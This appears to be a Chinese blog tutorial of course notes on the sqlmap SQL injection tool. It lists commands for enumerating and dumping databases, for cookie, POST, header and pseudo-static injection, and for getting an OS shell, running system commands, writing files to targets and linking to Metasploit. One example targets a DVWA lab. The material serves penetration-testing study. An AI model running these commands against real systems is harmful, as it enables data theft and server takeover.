热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQLmap自动化注入工具命令详解(第28-29天实战演练)

SQL注入工具如SQLMap等在网络安全测试中广泛应用。SQLMap是一款开源的自动化SQL注入工具,支持12种不同的数据库,具体支持的数据库类型可在其插件目录中查看。作为当前最强大的注入工具之一,SQLMap在实际应用中具有极高的效率和准确性。

SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

支持的注入类型:布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

可以爆破识别密文数据

getshell

命令执行

脱库/删库

 

内置文档介绍:

doc   介绍文档

extra     sqlmap额外的功能,运行cmd执行命令

lib   sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

 

SQLMAP工作流程:

1)初始化

2)开始检测

1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

2>  解析URL,判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

3)执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询(yes)直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

 

步骤详解

1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

7COOKIE型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --COOKIE="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

 

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

 

COOKIE注入

python sqlmap.py -r post_COOKIE.txt --level 2

python sqlmap.py -u "URL" --COOKIE="user=1" --level 2

--level=LEVEL  执行测试的等级(1-5,默认是1

 

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

 

UA注入:

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

 

伪静态注入:

python sqlmap.py -u "URL/1*.html"   加个*

 

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息(默认)

2、同事显示debug信息。

3、同事显示注入的payload(建议使用次级别,可)

 

--risk 0-3

0-3共有四个风险等级

 

批量测试:

  python sqlmap.py -m piliang.txt

 

SQLMAP注入点执行系统命令或者交互式shell

(条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

 

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

 

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

 

sqlmapmsf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径:/usr/share/metasploit-framework

 

sqlmapBP的结合使用:

1、给BP代开抓包储存

技术分享图片

 

 

 

2、然后抓取目标URL

3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

 

sqlmap读写文件

--file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

 


推荐阅读
  • Django框架下的对象关系映射(ORM)详解
    在Django框架中,对象关系映射(ORM)技术是解决面向对象编程与关系型数据库之间不兼容问题的关键工具。通过将数据库表结构映射到Python类,ORM使得开发者能够以面向对象的方式操作数据库,从而简化了数据访问和管理的复杂性。这种技术不仅提高了代码的可读性和可维护性,还增强了应用程序的灵活性和扩展性。 ... [详细]
  • 题目描述:小K不幸被LL邪教洗脑,洗脑程度之深使他决定彻底脱离这个邪教。在最终离开前,他计划再进行一次亚瑟王游戏。作为最后一战,他希望这次游戏能够尽善尽美。众所周知,亚瑟王游戏的结果很大程度上取决于运气,但通过合理的策略和算法优化,可以提高获胜的概率。本文将详细解析洛谷P3239 [HNOI2015] 亚瑟王问题,并提供具体的算法实现方法,帮助读者更好地理解和应用相关技术。 ... [详细]
  • JVM参数设置与命令行工具详解
    JVM参数配置与命令行工具的深入解析旨在优化系统性能,通过合理设置JVM参数,确保在高吞吐量的前提下,有效减少垃圾回收(GC)的频率,进而降低系统停顿时间,提升服务的稳定性和响应速度。此外,本文还将详细介绍常用的JVM命令行工具,帮助开发者更好地监控和调优JVM运行状态。 ... [详细]
  • 在Spring框架中,基于Schema的异常通知与环绕通知的实现方法具有重要的实践价值。首先,对于异常通知,需要创建一个实现ThrowsAdvice接口的通知类。尽管ThrowsAdvice接口本身不包含任何方法,但开发者需自定义方法来处理异常情况。此外,环绕通知则通过实现MethodInterceptor接口来实现,允许在方法调用前后执行特定逻辑,从而增强功能或进行必要的控制。这两种通知机制的结合使用,能够有效提升应用程序的健壮性和灵活性。 ... [详细]
  • 本文详细介绍了 MiniGUI 中静态控件(CTRL_STATIC)的使用方法及其不同风格的应用。具体而言,采用 SS_SIMPLE 风格的静态控件仅支持单行文本显示,不具备自动换行功能,且文本始终为左对齐。而 SS_LEFT、SS_CENTER 和 SS_RIGHT 风格则分别实现了文本的左对齐、居中和右对齐布局,提供了更多的排版灵活性。此外,文章还探讨了这些控件在实际开发中的应用场景和最佳实践。 ... [详细]
  • 解决Android Bitmap保存过程中背景色异常变黑的技术方案
    在开发一个Android应用时,遇到了一个长期未解决的问题:原本白色的背景在保存Bitmap图片时会变成黑色。经过深入研究,发现这可能与创建Bitmap对象时的默认设置有关。通过调整Bitmap的配置参数,并确保在保存图片时正确处理颜色信息,最终成功解决了这一问题。此外,还对代码进行了优化,以提高图片保存的效率和质量。 ... [详细]
  • 题目旨在解决树上的路径最优化问题,具体为在给定的树中寻找一条长度介于L到R之间的路径,使该路径上的边权平均值最大化。通过点分治策略,可以有效地处理此类问题。若无长度限制,可采用01分数规划模型,将所有边权减去一个常数m,从而简化计算过程。此外,利用单调队列优化动态规划过程,进一步提高算法效率。 ... [详细]
  • 本文介绍了实现链表数据结构的方法与技巧,通过定义一个 `MyLinkedList` 类来管理链表节点。该类包含三个主要属性:`first` 用于指向链表的第一个节点,`last` 用于指向链表的最后一个节点,以及 `size` 用于记录链表中节点的数量。此外,还详细探讨了如何通过这些属性高效地进行链表的操作,如插入、删除和查找等。 ... [详细]
  • 探讨 `org.openide.windows.TopComponent.componentOpened()` 方法的应用及其代码实例分析 ... [详细]
  • 在 Linux 系统中,`/proc` 目录实现了一种特殊的文件系统,称为 proc 文件系统。与传统的文件系统不同,proc 文件系统主要用于提供内核和进程信息的动态视图,通过文件和目录的形式呈现。这些信息包括系统状态、进程细节以及各种内核参数,为系统管理员和开发者提供了强大的诊断和调试工具。此外,proc 文件系统还支持实时读取和修改某些内核参数,增强了系统的灵活性和可配置性。 ... [详细]
  • DHCP三层交换机设置方式全局模式和接口模式设置方式和命令resetsave回车输入yreboot输入n输入y重启后就恢复默认设置了默认用户名密码adminAdmin@huawei ... [详细]
  • 如何在Linux系统中变更文件的所有权
    在Linux系统中,若需更改文件所有权,首先应了解当前文件的权限设置。例如,`/home`目录通常归root用户和root组所有,其他用户组仅拥有读取和执行权限,而无写入权限。以`/home/tom`文件夹为例,该文件夹对tom用户具有完全控制权限(读、写、执行),但对其余用户组则无任何访问权限。通过使用`chown`命令,可以有效变更文件或目录的所有者,从而调整访问控制。 ... [详细]
  • 本文深入解析了Storm框架中的ISpout架构及其应用。ISpout接口定义了七个核心方法,包括`open`方法,该方法在Spout初始化时被调用,用于设置Spout的配置参数、上下文环境和输出收集器。通过详细探讨这些方法的功能和实现细节,本文旨在帮助开发者更好地理解和优化Spout组件在实时数据处理中的性能和可靠性。 ... [详细]
  • 高效排序算法是提升数据处理速度的重要技术。通过优化排序算法,可以显著提高数据处理的效率和性能。本文介绍了几种常见的高效排序算法,如快速排序、归并排序和堆排序,并通过实例代码展示了它们的具体实现。实验结果表明,这些算法在大规模数据集上的表现尤为突出,能够有效减少数据处理时间,提升系统整体性能。 ... [详细]
  • 在Laravel中实现PHP对JSON数据的发布与处理 ... [详细]
author-avatar
处女同乡会同乡情
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有